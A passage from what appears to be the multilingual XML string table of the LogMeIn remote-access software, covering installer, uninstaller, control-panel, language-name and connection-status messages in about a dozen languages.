<it>massimo 80 caratteri</it>
<ru>не более 80 символов</ru>
<ja>最大 80 文字</ja>
<zh>最多 80 个字符</zh>
<ko>최대 80자</ko>
<hu>legfeljebb 80 karakter</hu>
<pt-br>máx. de 80 caracteres</pt-br>
<nl>max. 80 tekens</nl>
<en-gb>max. 80 characters</en-gb>
</msg>
</cat>
<cat name="PLUGIN_INSTALLER">
<msg os="macosx" name="SAFARI7EXPLANATORYCOMMENT">
<en>LogMeIn Installer wants to close Safari to enable the plug-in.</en>
<de>Das LogMeIn-Installationsprogramm möchte Safari schließen, um das Plugin zu aktivieren.</de>
<es>El programa de instalación de LogMeIn desea cerrar Safari para habilitar el complemento.</es>
<fr>Le programme d'installation de LogMeIn souhaite fermer Safari pour activer l'extension.</fr>
<it>Il programma di installazione di LogMeIn richiede la chiusura di Safari per abilitare il plug-in.</it>
<ru>Программе установки LogMeIn необходимо закрыть браузер Safari, чтобы включить подключаемый модуль.</ru>
<ja>LogMeIn インストーラでプラグインを有効にするためには、Safari を閉じる必要があります。</ja>
<zh>LogMeIn安装程序希望关闭 Safari 以启用插件。</zh>
<ko>LogMeIn 설치 프로그램이 플러그인을 사용하기 위해 Safari를 닫으려고 합니다.</ko>
<hu>A LogMeIn telepítőnek be kell zárnia a Safarit a beépülő modul engedélyezéséhez.</hu>
<pt-br>O instalador do LogMeIn precisa fechar o Safari para habilitar o plug-in.</pt-br>
<nl>Het LogMeIn-installatieprogramma moet Safari sluiten om de invoegtoepassing in te kunnen schakelen.</nl>
<en-gb>LogMeIn Installer wants to close Safari to enable the plug-in.</en-gb>
</msg>
<msg os="macosx" name="SAFARI7PREFSCOMMENT">
<en>Note: you will need to adjust Safari Security settings to allow the plug-in to run.</en>
<de>Hinweis: Sie müssen die Sicherheitseinstellungen von Safari anpassen, damit das Plugin funktioniert.</de>
<es>Nota: Tendrá que ajustar la configuración de seguridad de Safari para permitir la ejecución del complemento.</es>
<fr>Remarque : vous devrez autoriser l'extension dans les réglages de sécurité de Safari.</fr>
<it>Nota: Per consentire l’esecuzione del plug-in, sarà necessario regolare le impostazioni di sicurezza di Safari.</it>
<ru>Примечание: чтобы разрешить работу подключаемого модуля, потребуется настроить параметры безопасности браузера Safari.</ru>
<ja>注意 : プラグインを実行するには、Safari のセキュリティ設定を調整する必要があります。</ja>
<zh>注意:您需要调整 Safari“安全”设置以便让插件能够运行。</zh>
<ko>참고: 플러그인 작동을 허용하려면 Safari 보안 설정을 조정해야 합니다.</ko>
<hu>Megjegyzés: a beépülő modul engedélyezéséhez módosítania kell a Safari biztonsági beállításait.</hu>
<pt-br>Observação: você deve ajustar as configurações de segurança do Safari para permitir a execução do plug-in.</pt-br>
<nl>Let op: u zult de beveiligingsinstellingen van Safari moeten aanpassen om de uitvoering van de invoegtoepassing toe te staan.</nl>
<en-gb>Note: you will need to adjust Safari Security settings to allow the plug-in to run.</en-gb>
</msg>
<msg os="macosx" name="CLOSESAFARI">
<en>Close Safari and enable plug-in</en>
<de>Safari schließen und Plugin aktivieren</de>
<es>Cerrar Safari y habilitar el complemento</es>
<fr>Fermer Safari et activez l'extension</fr>
<it>Chiudi Safari e abilita il plug-in</it>
<ru>Закрыть браузер Safari и включить подключаемый модуль</ru>
<ja>Safari を閉じて、プラグインを有効にする</ja>
<zh>关闭 Safari 并启用插件</zh>
<ko>Safari를 닫고 플러그인 사용</ko>
<hu>Zárja be a Safarit és engedélyezze a beépülő modult</hu>
<pt-br>Fechar o Safari e habilitar plug-in</pt-br>
<nl>Safari sluiten en invoegtoepassing inschakelen</nl>
<en-gb>Close Safari and enable plug-in</en-gb>
</msg>
<msg os="macosx" name="KEEPSAFARIOPEN">
<en>Keep Safari open</en>
<de>Safari geöffnet lassen</de>
<es>Mantener Safari abierto</es>
<fr>Ne pas fermer Safari</fr>
<it>Mantieni aperto Safari</it>
<ru>Не закрывать браузер Safari</ru>
<ja>Safari を開いたままにする</ja>
<zh>使 Safari 保持打开</zh>
<ko>Safari 열린 상태로 유지</ko>
<hu>Hagyja nyitva a Safarit</hu>
<pt-br>Manter o Safari aberto</pt-br>
<nl>Safari open houden</nl>
<en-gb>Keep Safari open</en-gb>
</msg>
</cat>
</cat>
<cat name="MACUNINSTALLER">
<msg name="ALERTTITLE">
<en>LogMeIn Uninstaller</en>
<es>Desinstalador de LogMeIn</es>
<de>LogMeIn-Deinstallationsprogramm</de>
<fr>Programme de désinstallation LogMeIn</fr>
<it>Disinstallazione di LogMeIn</it>
<ru>Программа удаления LogMeIn</ru>
<ja>LogMeIn アンインストーラ</ja>
<zh>LogMeIn 卸载程序</zh>
<ko>LogMeIn 설치 제거 프로그램</ko>
<hu>LogMeIn eltávolító program</hu>
<pt-br>Desinstalador do LogMeIn</pt-br>
<nl>LogMeIn-deïnstallatieprogramma</nl>
<en-gb>LogMeIn Uninstaller</en-gb>
</msg>
<msg name="ALERTTEXT">
<en>If you proceed, this computer will not be accessible from a remote location.\n\nAre you sure you want to uninstall LogMeIn?</en>
<es>Si continua, este ordenador no será accesible desde una ubicación remota. \n\n¿Está seguro de que desea desinstalar LogMeIn?</es>
<de>Wenn Sie fortfahren, kann nicht mehr von einem Remotestandort aus auf diesen Computer zugegriffen werden.\n\n Möchten Sie LogMeIn sicher deinstallieren?</de>
<fr>Si vous continuez, cet ordinateur ne sera plus accessible depuis un site distant. \n\n Êtes-vous sûr de vouloir désinstaller LogMeIn ?</fr>
<it>Se si prosegue, questo computer non sarà accessibile da una postazione remota. \n\n Disinstallare LogMeIn?</it>
<ru>В случае продолжения данный компьютер не будет доступен для удаленных узлов. \n\n Удалить LogMeIn?</ru>
<ja>続行すると、離れた場所からこのコンピュータにアクセスできなくなります。 \n\n LogMeIn をアンインストールしますか?</ja>
<zh>如果继续,此计算机将无法从远程位置进行访问。 \n\n是否确定要卸载 LogMeIn?</zh>
<ko>계속할 경우 원격지에서 이 컴퓨터에 액세스할 수 없습니다. \n\n LogMeIn을 제거하시겠습니까?</ko>
<hu>Ha folytatja, a helyi számítógép távoli helyszínről nem lesz elérhető. \n\n Biztosan eltávolítja a LogMeIn alkalmazást?</hu>
<pt-br>Se você prosseguir, este computador não ficará acessível de um local remoto. \n\n Tem certeza de que deseja desinstalar o LogMein?</pt-br>
<nl>Wanneer u doorgaat is deze computer niet toegankelijk vanuit een externe locatie. \n\n Weet u zeker dat u LogMeIn wilt deïnstalleren?</nl>
<en-gb>If you proceed, this computer will not be accessible from a remote location.\n\nAre you sure you want to uninstall LogMeIn?</en-gb>
</msg>
<msg name="AUTHORIZATIONTEXT">
<en>%PRODUCTNAME Control Panel wants to make changes.</en>
<de>Die %PRODUCTNAME-Hostoberfläche möchte Änderungen vornehmen.</de>
<es>El Panel de control de %PRODUCTNAME desea realizar cambios.</es>
<fr>Le panneau de contrôle %PRODUCTNAME veut effectuer des modifications.</fr>
<it>Il Pannello di controllo di %PRODUCTNAME sta tentando di apportare delle modifiche.</it>
<ru>Панель управления %PRODUCTNAME пытается внести изменения.</ru>
<ja>%PRODUCTNAME コントロール パネルがお使いのコンピュータへの変更を試みています。</ja>
<zh>%PRODUCTNAME 控制面板需要进行修改。输入密码以允许操作。</zh>
<ko>%PRODUCTNAME 제어판이 수정하기를 원합니다.</ko>
<en-gb>%PRODUCTNAME Control Panel wants to make changes.</en-gb>
<hu>A %PRODUCTNAME Vezérlőpultnak módosítania kell gépe egyes beállításait.</hu>
<pt-br>O painel de controle do %PRODUCTNAME deseja fazer alterações.</pt-br>
<nl>%PRODUCTNAME Configuratiescherm wil wijzigingen aanbrengen.</nl>
</msg>
</cat>
<cat name="HTMAIL">
<msg name="TITLE">
<en>HtMail</en>
<de>HtMail</de>
<es>HtMail</es>
<fr>HtMail</fr>
<it>HtMail</it>
<ru>HtMail</ru>
<ja>HtMail</ja>
<zh>HtMail</zh>
<ko>HtMail</ko>
<en-gb>HtMail</en-gb>
<hu>HtMail</hu>
<pt-br>HtMail</pt-br>
<nl>HtMail</nl>
</msg>
</cat>
<cat name="ACCESS">
<msg name="HINT">
<en>To access LogMeIn host computers in your account, log in at LogMeIn.com or use LogMeIn Client.</en>
<de>Melden Sie sich auf LogMeIn.com an oder nutzen Sie den LogMeIn-Client, um auf LogMeIn-Hostcomputer in Ihrem Konto zuzugreifen.</de>
<es>Para acceder a los ordenadores host con LogMeIn de su cuenta, inicie sesión de LogMeIn.com o utilice LogMeIn Client.</es>
<fr>Pour accéder aux ordinateurs hôtes de votre compte, connectez-vous sur LogMeIn.com ou utilisez LogMeIn Client.</fr>
<it>Per accedere ai computer host LogMeIn del proprio account, eseguire l'accesso su LogMeIn.com oppure usare client LogMeIn.</it>
<ru>Для получения доступа к хост-компьютерам с LogMeIn в вашей учетной записи войдите на веб-сайт LogMeIn.com или используйте клиент LogMeIn.</ru>
<ja>アカウント内の LogMeIn ホスト コンピュータにアクセスするには、LogMeIn.com でログインするか、LogMeIn クライアントを起動 を使用します。</ja>
<zh>若要通过您的帐号访问 LogMeIn 主机,通过 LogMeIn.com 或使用 LogMeIn 客户端 登陆。</zh>
<ko>계정에 있는 LogMeIn 호스트 컴퓨터에 액세스하려면 LogMeIn.com에 로그인하거나 LogMeIn 클라이언트 시작 사용하십시오.</ko>
<en-gb>To access LogMeIn host computers in your account, log in at LogMeIn.com or use LogMeIn Client.</en-gb>
<hu>A LogMeIn gazdagépeinek az Ön fiókján keresztül történő eléréséhez lépjen be a LogMeIn.com oldalra, vagy használja a LogMeIn kliens szoftvert.</hu>
<pt-br>Para acessar computadores host do LogMeIn na sua conta, efetue login no LogMeIn.com ou use o cliente do LogMeIn.</pt-br>
<nl>Om LogMeIn host-computers binnen uw account te benaderen, meldt u zich aan bij LogMeIn.com of gebruikt u LogMeIn Client.</nl>
</msg>
</cat>
<cat name="LANGUAGE">
<msg name="EN">
<en>English</en>
<de>English</de>
<es>English</es>
<fr>English</fr>
<it>English</it>
<ru>English</ru>
<ja>English</ja>
<zh>English</zh>
<ko>English</ko>
<en-gb>English</en-gb>
<hu>English</hu>
<pt-br>English</pt-br>
<nl>English</nl>
</msg>
<msg name="DE">
<en>Deutsch</en>
<de>Deutsch</de>
<es>Deutsch</es>
<fr>Deutsch</fr>
<it>Deutsch</it>
<ru>Deutsch</ru>
<ja>Deutsch</ja>
<zh>Deutsch</zh>
<ko>Deutsch</ko>
<en-gb>Deutsch</en-gb>
<hu>Deutsch</hu>
<pt-br>Deutsch</pt-br>
<nl>Deutsch</nl>
</msg>
<msg name="ES">
<en>Español</en>
<de>Español</de>
<es>Español</es>
<fr>Español</fr>
<it>Español</it>
<ru>Español</ru>
<ja>Español</ja>
<zh>Español</zh>
<ko>Español</ko>
<en-gb>Español</en-gb>
<hu>Español</hu>
<pt-br>Español</pt-br>
<nl>Español</nl>
</msg>
<msg name="FR">
<en>Français</en>
<de>Français</de>
<es>Français</es>
<fr>Français</fr>
<it>Français</it>
<ru>Français</ru>
<ja>Français</ja>
<zh>Français</zh>
<ko>Français</ko>
<en-gb>Français</en-gb>
<hu>Français</hu>
<pt-br>Français</pt-br>
<nl>Français</nl>
</msg>
<msg name="IT">
<en>Italiano</en>
<de>Italiano</de>
<es>Italiano</es>
<fr>Italiano</fr>
<it>Italiano</it>
<ru>Italiano</ru>
<ja>Italiano</ja>
<zh>Italiano</zh>
<ko>Italiano</ko>
<en-gb>Italiano</en-gb>
<hu>Italiano</hu>
<pt-br>Italiano</pt-br>
<nl>Italiano</nl>
</msg>
<msg name="RU">
<en>Русский</en>
<de>Русский</de>
<es>Русский</es>
<fr>Русский</fr>
<it>Русский</it>
<ru>Русский</ru>
<ja>Русский</ja>
<zh>Русский</zh>
<ko>Русский</ko>
<en-gb>Русский</en-gb>
<hu>Русский</hu>
<pt-br>Русский</pt-br>
<nl>Русский</nl>
</msg>
<msg name="JA">
<en>日本語</en>
<de>日本語</de>
<es>日本語</es>
<fr>日本語</fr>
<it>日本語</it>
<ru>日本語</ru>
<ja>日本語</ja>
<zh>日本語</zh>
<ko>日本語</ko>
<en-gb>日本語</en-gb>
<hu>日本語</hu>
<pt-br>日本語</pt-br>
<nl>日本語</nl>
</msg>
<msg name="ZH">
<en>中文(简体)</en>
<de>中文(简体)</de>
<es>中文(简体)</es>
<fr>中文(简体)</fr>
<it>中文(简体)</it>
<ru>中文(简体)</ru>
<ja>中文(简体)</ja>
<zh>中文(简体)</zh>
<ko>中文(简体)</ko>
<en-gb>中文(简体)</en-gb>
<hu>中文(简体)</hu>
<pt-br>中文(简体)</pt-br>
<nl>中文(简体)</nl>
</msg>
<msg name="KO">
<en>한국어</en>
<de>한국어</de>
<es>한국어</es>
<fr>한국어</fr>
<it>한국어</it>
<ru>한국어</ru>
<ja>한국어</ja>
<zh>한국어</zh>
<ko>한국어</ko>
<en-gb>한국어</en-gb>
<hu>한국어</hu>
<pt-br>한국어</pt-br>
<nl>한국어</nl>
</msg>
<msg name="EN-GB">
<en>English UK</en>
<de>English UK</de>
<es>English UK</es>
<fr>English UK</fr>
<it>English UK</it>
<ru>English UK</ru>
<ja>English UK</ja>
<zh>English UK</zh>
<ko>English UK</ko>
<en-gb>English UK</en-gb>
<hu>English UK</hu>
<pt-br>English UK</pt-br>
<nl>English UK</nl>
</msg>
<msg name="HU">
<en>Magyar</en>
<de>Magyar</de>
<es>Magyar</es>
<fr>Magyar</fr>
<it>Magyar</it>
<ru>Magyar</ru>
<ja>Magyar</ja>
<zh>Magyar</zh>
<ko>Magyar</ko>
<en-gb>Magyar</en-gb>
<hu>Magyar</hu>
<pt-br>Magyar</pt-br>
<nl>Magyar</nl>
</msg>
<msg name="PT-BR">
<en>Português (Br)</en>
<de>Português (Br)</de>
<es>Português (Br)</es>
<fr>Português (Br)</fr>
<it>Português (Br)</it>
<ru>Português (Br)</ru>
<ja>Português (Br)</ja>
<zh>Português (Br)</zh>
<ko>Português (Br)</ko>
<en-gb>Português (Br)</en-gb>
<hu>Português (Br)</hu>
<pt-br>Português (Br)</pt-br>
<nl>Português (Br)</nl>
</msg>
<msg name="NL">
<en>Nederlands</en>
<de>Nederlands</de>
<es>Nederlands</es>
<fr>Nederlands</fr>
<it>Nederlands</it>
<ru>Nederlands</ru>
<ja>Nederlands</ja>
<zh>Nederlands</zh>
<ko>Nederlands</ko>
<en-gb>Nederlands</en-gb>
<hu>Nederlands</hu>
<pt-br>Nederlands</pt-br>
<nl>Nederlands</nl>
</msg>
</cat>
<!-- LMI (Toolkit) specific messages -->
<cat name="TOOLKIT">
<msg name="WHATISCOMPUTERUSERNAME">
<en>What is the username of this computer?</en>
<de>Was ist der Benutzername für diesen Computer?</de>
<es>¿Cuál es el nombre de usuario de este ordenador?</es>
<fr>Quel est le nom d'utilisateur de cet ordinateur ?</fr>
<it>Qual è il nome utente per questo computer?</it>
<ru>Какое имя пользователя у данного компьютера?</ru>
<ja>このコンピュータのユーザー名とは</ja>
<zh>此计算机的用户名是什么?</zh>
<ko>이 컴퓨터의 사용자 이름이 무엇입니까?</ko>
<en-gb>What is the username of this computer?</en-gb>
<hu>Mi az ehhez a számítógéphez tartozó felhasználónév?</hu>
<pt-br>O que é o nome de usuário para este computador?</pt-br>
<nl>Wat is de gebruikersnaam voor deze computer?</nl>
</msg>
<msg name="COMPUTERUSERNAME">
<en>Computer Username</en>
<de>Computer-Benutzername</de>
<es>Nombre de usuario del ordenador</es>
<fr>Nom d'utilisateur de l'ordinateur</fr>
<it>Nome utente per il computer</it>
<ru>Имя пользователя компьютера</ru>
<ja>コンピュータのユーザー名</ja>
<zh>计算机用户名</zh>
<ko>컴퓨터 사용자 이름</ko>
<en-gb>Computer Username</en-gb>
<hu>A számítógéphez tartozó felhasználónév</hu>
<pt-br>Nome de usuário do computador</pt-br>
<nl>Gebruikersnaam voor computer</nl>
</msg>
<cat name="USERNOTIFICATION">
<msg name="NOSUBSCRIPTIONTEXT">
<en>Attach this computer to an account to enable LogMeIn.</en>
<de>Dieser Computer mit einem Konto verknüpfen, um LogMeIn zu aktivieren.</de>
<es>Asocie este ordenador a una cuenta para habilitar LogMeIn.</es>
<fr>Associer cet ordinateur à un compte pour activer LogMeIn.</fr>
<it>Associa questo computer a un account per abilitare LogMeIn.</it>
<nl>Koppel deze computer aan een account om LogMeIn in te schakelen.</nl>
<pt-br>Conecte este computador a uma conta para habilitar o LogMeIn.</pt-br>
<hu>Számítógép hozzákapcsolása egy fiókhoz a LogMeIn engedélyezése érdekében.</hu>
<ru>Чтобы включить LogMeIn, присоедините этот компьютер к учетной записи.</ru>
<ja>LogMeIn を有効にするために、このコンピュータをアカウントに追加します。</ja>
<ko>LogMeIn을 사용하려면 계정에 이 컴퓨터를 추가하십시오.</ko>
<zh>将此计算机连接至帐户以启用 LogMeIn。</zh>
</msg>
<msg name="NOSUBSCRIPTIONBUTTON">
<en>Attach</en>
<de>Verknüpfen</de>
<es>Asociar</es>
<fr>Associer</fr>
<it>Associa</it>
<nl>Koppelen</nl>
<pt-br>Conectar</pt-br>
<hu>Kapcsolás...</hu>
<ru>Присоединить</ru>
<ja>追加</ja>
<ko>추가</ko>
<zh>连接</zh>
</msg>
</cat>
<msg name="TITLE">
<en>%PRODUCTNAME Control Panel</en>
<es>Panel de control de %PRODUCTNAME</es>
<de>%PRODUCTNAME-Hostoberfläche</de>
<fr>Panneau de contrôle %PRODUCTNAME</fr>
<it>Pannello di controllo %PRODUCTNAME</it>
<ru>Панель управления %PRODUCTNAME</ru>
<ja>%PRODUCTNAME コントロール パネル</ja>
<zh>%PRODUCTNAME 控制面板</zh>
<ko>%PRODUCTNAME 제어판</ko>
<en-gb>%PRODUCTNAME Control Panel</en-gb>
<hu>%PRODUCTNAME Vezérlőpult</hu>
<pt-br>Painel de controle do %PRODUCTNAME</pt-br>
<nl>Configuratiescherm van %PRODUCTNAME</nl>
</msg>
<msg name="ABOUT">
<en>About %s</en>
<de>Über %s</de>
<es>Acerca de %s</es>
<fr>À propos de %s</fr>
<it>Informazioni su %s</it>
<ru>О программе %s</ru>
<ja>%s について</ja>
<zh>关于 %s</zh>
<ko>%s 정보</ko>
<en-gb>About %s</en-gb>
<hu>Névjegy: %s</hu>
<pt-br>Sobre %s</pt-br>
<nl>Info over %s</nl>
</msg>
<msg name="PREFERENCES">
<en>Preferences</en>
<de>Einstellungen</de>
<es>Preferencias</es>
<fr>Préférences</fr>
<it>Preferenze</it>
<ru>Параметры</ru>
<ja>環境設定</ja>
<zh>参数选择</zh>
<ko>기본 설정</ko>
<en-gb>Preferences</en-gb>
<hu>Beállítások</hu>
<pt-br>Preferências</pt-br>
<nl>Voorkeursinstellingen</nl>
</msg>
<msg name="SERVICES">
<en>Services</en>
<de>Dienste</de>
<es>Servicios</es>
<fr>Services</fr>
<it>Servizi</it>
<ru>Службы</ru>
<ja>サービス</ja>
<zh>服务</zh>
<ko>서비스</ko>
<en-gb>Services</en-gb>
<hu>Szolgáltatások</hu>
<pt-br>Serviços</pt-br>
<nl>Services</nl>
</msg>
<msg name="HIDE_LMI">
<en>Hide %s</en>
<de>%s ausblenden</de>
<es>Ocultar %s</es>
<fr>Masquer %s</fr>
<it>Nascondi %s</it>
<ru>Скрыть %s</ru>
<ja>%s を隠す</ja>
<zh>隐藏 %s</zh>
<ko>%s 숨기기</ko>
<en-gb>Hide %s</en-gb>
<hu>%s elrejtése</hu>
<pt-br>Ocultar %s</pt-br>
<nl>Verbergen %s</nl>
</msg>
<msg name="HIDE_OTHERS">
<en>Hide Others</en>
<de>Andere ausblenden</de>
<es>Ocultar otros</es>
<fr>Masquer les autres</fr>
<it>Nascondi altri</it>
<ru>Скрыть другие</ru>
<ja>ほかを隠す</ja>
<zh>隐藏其他</zh>
<ko>다른 사용자 숨김</ko>
<en-gb>Hide Others</en-gb>
<hu>Egyéb elrejtése</hu>
<pt-br>Ocultar Outros</pt-br>
<nl>Anderen verbergen</nl>
</msg>
<msg name="APPL_HELP">
<en>Application Help</en>
<de>Hilfe zur Anwendung</de>
<es>Ayuda de aplicación</es>
<fr>Aide sur l'application</fr>
<it>Guida all'applicazione</it>
<ru>Справка по приложению</ru>
<ja>アプリケーションのヘルプ</ja>
<zh>应用程序帮助</zh>
<ko>응용 프로그램 도움말</ko>
<en-gb>Application Help</en-gb>
<hu>Alkalmazássúgó</hu>
<pt-br>Ajuda do aplicativo</pt-br>
<nl>Hulp bij de toepassing</nl>
</msg>
<msg name="SHOWALL">
<en>Show All</en>
<fr>Afficher tout</fr>
<es>Mostrar todo</es>
<de>Alle anzeigen</de>
<it>Mostra tutto</it>
<nl>Alles weergeven</nl>
<pt-br>Mostrar tudo</pt-br>
<zh>显示全部</zh>
<ru>Показать все</ru>
<ja>すべて表示</ja>
<ko>모두 보기</ko>
<hu>Az összes megjelenítése</hu>
<en-gb>Show All</en-gb>
</msg>
<msg name="MINIMIZE">
<en>Minimize</en>
<fr>Réduire</fr>
<es>Minimizar</es>
<de>Minimieren</de>
<it>Riduci a icona</it>
<nl>Minimaliseren</nl>
<pt-br>Minimizar</pt-br>
<zh>最小化</zh>
<ru>Свернуть</ru>
<ja>最小化</ja>
<ko>윈도우 축소</ko>
<hu>Kis méret</hu>
<en-gb>Minimize</en-gb>
</msg>
<msg name="ZOOM">
<en>Zoom</en>
<fr>Zoom</fr>
<es>Zoom</es>
<de>Zoom</de>
<it>Zoom</it>
<nl>In- en uitzoomen</nl>
<pt-br>Zoom</pt-br>
<zh>放大</zh>
<ru>Масштабировать</ru>
<ja>ズーム</ja>
<ko>확대/축소</ko>
<hu>Nagyítás/Kicsinyítés</hu>
<en-gb>Zoom</en-gb>
</msg>
<msg name="BRINGALLTOFRONT">
<en>Bring All to Front</en>
<fr>Tout ramener au premier plan</fr>
<es>Traer todo al frente</es>
<de>Alles in den Vordergrund</de>
<it>Porta tutto in primo piano</it>
<nl>Alles op de voorgrond</nl>
<pt-br>Trazer tudo para a frente</pt-br>
<zh>全部前置</zh>
<ru>Переместить все вперед</ru>
<ja>すべて前面に表示</ja>
<ko>모두 앞으로 가져오기</ko>
<hu>Összes előtérbe hozása</hu>
<en-gb>Bring All to Front</en-gb>
</msg>
<cat name="HEADER">
<msg name="ACCESSIBLE">
<en>Accessible</en>
<es>Accesible</es>
<de>Zugriff möglich</de>
<fr>Accessible</fr>
<it>Accessibile</it>
<ru>Доступен</ru>
<ja>アクセス可能</ja>
<zh>可访问</zh>
<ko>액세스 가능</ko>
<en-gb>Accessible</en-gb>
<hu>Elérhető</hu>
<pt-br>Acessível</pt-br>
<nl>Toegankelijk</nl>
</msg>
<msg name="ENBLBUTOFF">
<en>Not accessible - Offline</en>
<es>No accesible - desconectado</es>
<de>Kein Zugriff möglich – Offline</de>
<fr>Inaccessible - hors ligne</fr>
<it>Non accessibile - Non in linea</it>
<ru>Недоступен – автономная работа</ru>
<ja>アクセス不可 - オフライン</ja>
<zh>无法访问 - 脱机</zh>
<ko>액세스할 수 없음 - 오프라인</ko>
<en-gb>Not accessible - Offline</en-gb>
<hu>Nem elérhető – Kapcsolaton kívül</hu>
<pt-br>Não acessível - Offline</pt-br>
<nl>Niet toegankelijk - Offline</nl>
</msg>
<msg name="DISABLED">
<en>Not accessible - %PRODUCTNAME is off</en>
<es>No accesible - %PRODUCTNAME está apagado</es>
<de>Kein Zugriff möglich – %PRODUCTNAME nicht aktiv</de>
<fr>Inaccessible - %PRODUCTNAME est désactivé</fr>
<it>Non accessibile - %PRODUCTNAME non è attivo</it>
<ru>Недоступен – программа %PRODUCTNAME отключена</ru>
<ja>アクセス不可 - %PRODUCTNAME がオフ</ja>
<zh>无法访问 - %PRODUCTNAME 已关闭</zh>
<ko>액세스할 수 없음 - %PRODUCTNAME이(가) 꺼져 있음</ko>
<en-gb>Not accessible - %PRODUCTNAME is off</en-gb>
<hu>Nem elérhető – A %PRODUCTNAME ki van kapcsolva</hu>
<pt-br>Não acessível - %PRODUCTNAME está desligado</pt-br>
<nl>Niet toegankelijk - %PRODUCTNAME staat uit</nl>
</msg>
<msg name="ONLINE_NO_SUBSCRIPTION">
<en>Not accessible - setup not completed</en>
<de>Kein Zugriff möglich – Einrichtung nicht abgeschlossen</de>
<es>No accesible: no se ha completado el proceso de configuración</es>
<fr>Inaccessible - Configuration non terminée</fr>
<it>Non accessibile - Impostazione non completata</it>
<nl>Niet toegankelijk - installatie niet voltooid</nl>
<pt-br>Sem acesso - configuração não concluída</pt-br>
<hu>Nem elérhető – a telepítés nem fejeződött be</hu>
<ru>Нет доступа — установка не выполнена</ru>
<ja>アクセス不可 - 設定は完了していません</ja>
<ko>액세스할 수 없음 - 설치가 완료되지 않음</ko>
<zh>不可访问 - 设置未完成</zh>
</msg>
<msg name="NO_COMP_NAME">
<en>This computer</en>
<de>Dieser Computer</de>
<es>Este ordenador</es>
<fr>Cet ordinateur</fr>
<it>Questo computer</it>
<nl>Deze computer</nl>
<pt-br>Este computador</pt-br>
<hu>Ez a számítógép</hu>
<ru>Этот компьютер</ru>
<ja>このコンピュータ</ja>
<ko>이 컴퓨터</ko>
<zh>此计算机</zh>
</msg>
<msg name="REMUSR">
<en>Remote user: $1 from $2</en>
<es>Usuario remoto: $1 de $2</es>
<de>Remotebenutzer: $1 von $2</de>
<fr>Utilisateur distant : $1 sur $2</fr>
<it>Utente remoto: $1 da $2</it>
<ru>Удаленный пользователь: $1 из $2</ru>
<ja>リモート ユーザ : $2 の $1</ja>
<zh>远程用户:来自 $2 的 $1</zh>
<ko>원격 사용자: $1($2)</ko>
<en-gb>Remote user: $1 from $2</en-gb>
<hu>Távoli felhasználó: $1 / $2</hu>
<pt-br>Usuário remoto: $1 do $2</pt-br>
<nl>Externe gebruiker: $1 van $2</nl>
</msg>
<msg name="REMUSR_PL">
<en>Number of remote users: $1</en>
<es>Número de usuarios remotos: $1</es>
<de>Anzahl der Remotebenutzer: $1</de>
<fr>Nombre d'utilisateurs distants : $1</fr>
<it>Numero di utenti remoti: $1</it>
<ru>Количество удаленных пользователей: $1</ru>
<ja>リモート ユーザ数 : $1</ja>
<zh>远程用户数量:$1 个</zh>
<ko>원격 사용자 수: $1</ko>
<en-gb>Number of remote users: $1</en-gb>
<hu>Távoli felhasználók száma: $1</hu>
<pt-br>Número de usuários remotos: $1</pt-br>
<nl>Aantal externe gebruikers: $1</nl>
</msg>
<msg name="NOREMUSRS">
<en>No remote users are connected</en>
<es>No hay usuarios remotos conectados</es>
<de>Keine Remotebenutzer verbunden</de>
<fr>Aucun utilisateur distant connecté</fr>
<it>Nessun utente remoto connesso</it>
<ru>Удаленные пользователи не подключены</ru>
<ja>接続中のリモート ユーザはいません</ja>
<zh>没有连接的远程端用户</zh>
<ko>연결된 원격 사용자 없음</ko>
<en-gb>No remote users are connected</en-gb>
<hu>Jelenleg egyetlen távoli felhasználó sem kapcsolódik</hu>
<pt-br>Nenhum usuário remoto conectado</pt-br>
<nl>Er zijn geen gebruikers op afstand verbonden</nl>
</msg>
<msg name="LINK_CONNDETAILS">
<en>Connection details</en>
<de>Verbindungsdetails</de>
<es>Detalles de conexión</es>
<fr>Details de la connexion</fr>
<it>Dettagli connessione</it>
<ru>Сведения о подключении</ru>
<ja>接続の詳細</ja>
<zh>连接详情</zh>
<ko>연결 정보</ko>
<en-gb>Connection details</en-gb>
<hu>Kapcsolat adatai</hu>
<pt-br>Detalhes da conexão</pt-br>
<nl>Details voor verbinding</nl>
</msg>
<msg name="ANONYMOUS">
<en>Anonymous</en>
<es>Anónimo</es>
<de>Anonym</de>
<fr>Anonyme</fr>
<it>Anonimo</it>
<ru>Анонимный</ru>
<ja>匿名</ja>
<zh>匿名</zh>
<ko>익명</ko>
<en-gb>Anonymous</en-gb>
<hu>Névtelen</hu>
<pt-br>Anônimo</pt-br>
<nl>Anoniem</nl>
</msg>
<msg name="CONNLOST">
<en>Connection lost at</en>
<es>Conexión perdida a las</es>
<de>Verbindung unterbrochen um</de>
<fr>Connexion perdue à</fr>
<it>Connessione persa alle</it>
<ru>Подключение прервано в</ru>
<ja>接続が失われた時刻:</ja>
<zh>断开连接时间:</zh>
<ko>다음 시간에 연결 끊김</ko>
<en-gb>Connection lost at</en-gb>
<hu>A kapcsolat megszakadt ekkor:</hu>
<pt-br>Conexão perdida às</pt-br>
<nl>De verbinding is verbroken om</nl>
</msg>
</cat>
<cat name="WELCOME">
<msg name="HIDE">
<en>Hide</en>
<de>Ausblenden</de>
<es>Ocultar</es>
<fr>Masquer</fr>
<it>Nascondi</it>
<nl>Verbergen</nl>
<pt-br>Ocultar</pt-br>
<hu>Elrejtés</hu>
<ru>Скрыть</ru>
<ja>隠す</ja>
<ko>숨기기</ko>
<zh>隐藏</zh>
</msg>
<msg name="AVAILABLE">
<en>Getting Started is always available under Options.</en>
<de>„Erste Schritte“ ist unter „Optionen“ immer verfügbar.</de>
<es>Primeros pasos siempre está disponible bajo Opciones.</es>
<fr>L'écran d'accueil est toujours disponible sous Options.</fr>
<it>La Guida introduttiva è sempre disponibile in Opzioni.</it>
<nl>Aan de slag is altijd beschikbaar onder Opties.</nl>
<pt-br>Boas-Vindas estão sempre disponíveis em Opções.</pt-br>
<hu>Az Első lépések útmutató mindig elérhető a Beállításokban.</hu>
<ru>Страницу «Начало работы» можно в любой момент вызвать при помощи пункта «Параметры».</ru>
<ja>[はじめに] には常に [オプション] からアクセスできます。</ja>
<ko>시작하기는 언제든지 옵션에서 선택할 수 있습니다.</ko>
<zh>快速入门始终位于“选项”下方。</zh>
</msg>
<msg name="GETTINGSTARTED">
<en>Getting Started</en>
<de>Erste Schritte</de>
<es>Primeros pasos</es>
<fr>Écran d'accueil</fr>
<it>Guida introduttiva</it>
<nl>Aan de slag</nl>
<pt-br>Boas-Vindas</pt-br>
<hu>Első lépések</hu>
<ru>Начало работы</ru>
